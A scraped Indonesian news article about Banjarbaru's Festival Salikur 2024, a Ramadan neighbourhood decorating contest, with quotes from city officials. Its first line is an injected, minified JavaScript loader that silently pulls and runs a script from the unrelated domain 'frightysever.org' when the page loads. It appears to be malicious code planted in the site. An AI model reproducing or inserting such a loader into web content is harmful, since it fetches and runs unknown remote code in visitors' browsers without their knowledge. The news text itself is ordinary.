(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Malam ke-20 Ramadan menjadi momentum penuh makna bagi masyarakat ibu kota dalam menyemarakkan bulan suci setiap tahunnya.
Menyambut 10 hari terakhir bulan Ramadan, Pemerintah Kota Banjarbaru kembali menggelar kegiatan menghias kampung-kampung di setiap sudut kota lewat Festival Salikur 2024.
Pelepasan dewan juri dilakukan Wali Kota Banjarbaru Aditya Mufti Ariffin diawali dari lapangan dr Murdjani, Sabtu (31/3/2024) malam, menandai dibukanya kegiatan rutin tahunan ini.
Beberapa dewan juri dipersiapkan untuk menilai lingkungan, kampung, komplek, maupun RT/RW, yang dihias dengan berbagai lampu hias, hingga lampion unik dan menarik.
Baca juga: Survei LSPP Jelang Pilgub Kalsel 2024, Ini Figur Nama-nama yang Muncul
Kepala Dinas Kepemudaan, Olahraga, Kebudayaan dan Pariwisata (Disbporabudpar), Ahmad Yani Makie mengatakan, dewan juri sudah dapat melakukan penilaian terhitung sejak malam ke-21 hingga 28 Ramadan ini.
“Mulai 21 sampai 28 Ramadan dewan juri akan melakukan penilaian setiap kampung, yang mana malam hari ini tadi adalah penilaian yang pertama,” ucap Yani Makie saat diwawancarai, Sabtu (31/3/2024) malam.
Yani menyebutkan di tahun ini ada 17 kampung atau lingkungan ikut berpartisipasi mengikuti kegiatan menghias yang diperlombakan hingga akhir bulan Ramadan ini.
Panitia Festival Salikur 2024, kata Yani, menambahkan konsep baru dalam perlaksanaan perlombaan ini. Di antaranya, diselenggarakan lomba foto konseptual dan natural yang dapat diikuti warga selama festival berlangsung.
Baca juga: Wabup Banjar Ucapkan Terima Kasih kepada Warga Sungaitabuk
“Kemudian ada juga tampilan budaya yang akan kita tampilkan pada penilaian tahun ini, yang mana pengumuman Festival Salikur 2024 masih kita rencanakan, kemungkinan besar dilakukan pada perayaan Hari Jadi Kota Banjarbaru,” jelas dia.
Tiadakan arak-arak, Wali Kota Aditya mengatakan, lebih memilih mengadakan Festival Salikur ini di lingkungan RT, agar dapat menambah inovasi dan kreasi warga dalam menjaga estetika kampung atau lingkungannya.
“Kita tidak ingin ada titik kumpul masyarakat yang banyak hingga mengakibatkan terganggunya kegiatan masyarakat seperti macet dan lainnya maka kita lakukan di lingkungan RT,” ujarnya.
Dirinya pun berharap kegiatan ini dapat rutin terlaksana kedepannya. Di sisi lain dengan kreasi yang diciptakannya itu dapat dipertahankan masyarakat bahkan hingga Ramadan berakhir.
Baca juga: Nenek Masrumi Tinggal di Rumah Tak Layak Huni, Pj Bupati HSU Minta Camat Perhatikan Warganya
“Kreasi yang diciptakan bisa dipertahankan walaupun bukan di bulan Ramadan, sehingga lingkungan selalu indah selalu nyaman dan mudah mudahan bisa menjadi daya tarik bagi Kota Banjarbaru,” tuntas Aditya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.